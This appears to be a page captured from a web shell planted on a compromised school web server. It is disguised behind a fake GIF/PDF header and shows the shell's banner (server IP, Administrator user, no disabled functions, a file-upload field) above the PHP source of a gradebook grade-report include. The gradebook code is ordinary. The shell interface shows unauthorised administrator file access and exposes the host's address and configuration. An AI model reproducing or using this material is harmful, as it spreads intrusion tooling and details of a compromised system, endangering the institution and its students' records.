GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Gradebook/ |
Upload File : |
<? // Gradebook/GradeUpdate_GradeUpdate.phpinc // Calculate studentTotalPoints. $studentTotalPoints = 0; foreach ( $eInfo as $eId => $eData ) { include('Gradebook/ClassGradebookEvaluationData.phpinc'); } // BEGIN Set Student Profile text. $nsStudentProfile = ''; $SPgrade = 'ns'; foreach ( $sInfo as $xsId => $student ){ if ($student['userId'] == $uId && $student[-2]['graded'] && $student[-2]['grade'] != false ) { $SPgrade = $student[-2]['grade']; break; } } if ( $SPgrade === 'ns' ) { $nsStudentProfile = "\n<br>You have not submitted your Student Profile."; } // END Set Student Profile text. // BEGIN Set not graded assignments text. $ngAssignmentsText = $ngAssignments; if ( $ngAssignments ) { $ngAssignmentsText = "\n<br>I have not yet graded "; //if ( listLen($zeroAssignments) > 0 ) { $nsAssignmentsText .= 's'; } $ngAssignmentsText .= listOr($ngAssignments).'.'; } // END Set not graded assignments text. // BEGIN Set overdue assignments text. $nsodAssignmentsText = $nsodAssignments; if ( $nsodAssignments ) { $nsodAssignmentsText = "\n<br>You have not submitted "; $nsodAssignmentsText .= listOr($nsodAssignments).'.'; if ( listLen($nsodAssignments) > 1 ) { $nsodAssignmentsText .= ' <span class="evalOverdue">These are'; $pronoun = 'these are'; } else { $nsodAssignmentsText .= ' <span class="evalOverdue">This is'; $pronoun = 'this is'; } $nsodAssignmentsText .= ' past due and you may be losing points every week '.$pronoun.' late.</span>'; } // END Set overdue assignments text. // BEGIN Set not submitted assignments text. $nsAssignmentsText = $nsAssignments; if ( $nsAssignments ) { $nsAssignmentsText = "\n<br>You have not submitted "; $nsAssignmentsText .= listOr($nsAssignments).'.'; if ( listLen($nsAssignments) > 1 ) { $nsAssignmentsText .= ' <span class="evalDueLastWeek">These are'; } else { $nsAssignmentsText .= ' <span class="evalDueLastWeek">This is'; } $nsAssignmentsText .= ' due now.</span>'; } // END Set not submitted assignments text. // BEGIN Set not submitted future assignments text. $nsndAssignmentsText = $nsndAssignments; if ( $nsndAssignments ) { $nsndAssignmentsText = "\n<br>You have not submitted "; $nsndAssignmentsText .= listOr($nsndAssignments).'.'; if ( listLen($nsndAssignments) > 1 ) { $nsndAssignmentsText .= ' <span class="evalDueInFuture">These are'; } else { $nsndAssignmentsText .= ' <span class="evalDueInFuture">This is'; } $nsndAssignmentsText .= ' not yet due.</span>'; } // END Set not submitted future assignments text. // BEGIN Set assignments with zero points text. $zeroAssignmentsText = $zeroAssignments; if ( $zeroAssignments ) { $zeroAssignmentsText = "\n<br>You have zero points for "; //if ( listLen($zeroAssignments) > 0 ) { $zeroAssignmentsText .= 's'; } $zeroAssignmentsText .= listAnd($zeroAssignments).'.'; } // END Set assignments with zero points text. // BEGIN Set point deductions text. $pointAssignmentsText = $pointAssignments; if ( $pointAssignments ) { $pointAssignmentsText = "\n<br>You have point deductions for "; //if ( listLen($zeroAssignments) > 0 ) { $zeroAssignmentsText .= 's'; } $pointAssignmentsText .= listAnd($pointAssignments).'.'; } // END Set point deductions text. require('Gradebook/GradeUpdate_GradeReportBegin.phpinc'); ?> <div id="gradeReportContent" style="border: 1px solid blue; display: table-cell;" onClick="copyClipboard(this);" onMouseOver="ttShow('Click to copy.');" onMouseOut="ttHide();"> Grade report for <?=userName($uId)?> in <?=$courseRow['courseNumber']?> <?=$courseRow['courseTitle']?> on <?=date('l, F jS')?>. <br><br> Your current grades for <?=$courseRow['courseNumber']?> <?=$courseRow['courseTitle']?> is <?=$pronoun?> <?=$finalGrade?>. <?=$ngAssignmentsText?> <br> <table> <tr> <td></td> <? foreach ( $eInfo as $eId => $eData ) { ?> <th><?=$eData['title']?></th> <? } ?> <th class="center">Total</th> <th rowspan="2" class="center">Final<br>grade</th> </tr> <tr> <td class="right nowrap">Possible points:</td> <? foreach ( $eInfo as $eId => $eData ) { ?> <td><?=$eData['points']?></td> <? } ?> <td><?=$evaluationTotalGradedPoints?></td> </tr> <tr> <td class="rightnowrap ">Graded points:</td> <? // Display student grade points and final grade. $studentTotalPoints = 0; foreach ( $eInfo as $eId => $eData ) { include('Gradebook/ClassGradebookEvaluationData.phpinc'); if ( is_numeric($grade) ) { $gradePoints = $grade; } else { $gradePoints = 0; } if ( $eData['critical'] ) { if ( $gradePoints / $assignmentPoints < .70 ) { $criticalEvalsFailedCount++; } } if ( $grade === 'ns' ) { //if ( $grade === 'ns' && $eData['title'] !=='SP' ) { $nsAssignments = listAppend($nsAssignments,$eData['title']); } $evalClass .= ' bold'; } elseif ( $grade === 'ng' ) { //$ngAssignments = listAppend($ngAssignments,$eData['title']); $evalClass .= ' bold'; } elseif ( $grade === 0 ) { //$zeroAssignments = listAppend($zeroAssignments,$eData['title']); } elseif ( $grade < $eData['points'] ) { //$pointAssignments = listAppend($pointAssignments,$eData['title']); } ?> <td><? if ( $isGB ) { ?><span class="<?=$evalClass?>"><? } ?><?=$grade?><? if ( $isGB ) { ?></span><? } ?></td> <? } ?> <td>xxx <?=$studentTotalPoints?></td> <td><?=$finalGrade?> <?=$finalTitle?></td> </tr> </table> <? /** / $nsAssignmentsText = $nsAssignments; if ( $nsAssignments ) { $nsAssignmentsText = "\n<br>You have not submitted "; //if ( listLen($zeroAssignments) > 0 ) { $nsAssignmentsText .= 's'; } $nsAssignmentsText .= listOr($nsAssignments).'.'; } $zeroAssignmentsText = $zeroAssignments; if ( $zeroAssignments ) { $zeroAssignmentsText = "\n<br>You have zero points for "; //if ( listLen($zeroAssignments) > 0 ) { $zeroAssignmentsText .= 's'; } $zeroAssignmentsText .= listAnd($zeroAssignments).'.'; } $pointAssignmentsText = $pointAssignments; if ( $pointAssignments ) { $pointAssignmentsText = "\n<br>You have point deductions for "; //if ( listLen($zeroAssignments) > 0 ) { $zeroAssignmentsText .= 's'; } $pointAssignmentsText .= listAnd($pointAssignments).'.'; } /**/ ?> <?=$nsStudentProfile?> <?=$nsodAssignmentsText?> <?=$nsAssignmentsText?> <?=$nsndAssignmentsText?> <?=$zeroAssignmentsText?> <?=$pointAssignmentsText?> <br> <br> <b>abc.</b> <br> <br>I also want to take this opportunity to remind you that I am available to answer questions or help with assignment work via phone or web meeting. </div> <? require('Gradebook/GradeUpdate_GradeReportEnd.phpinc'); ?>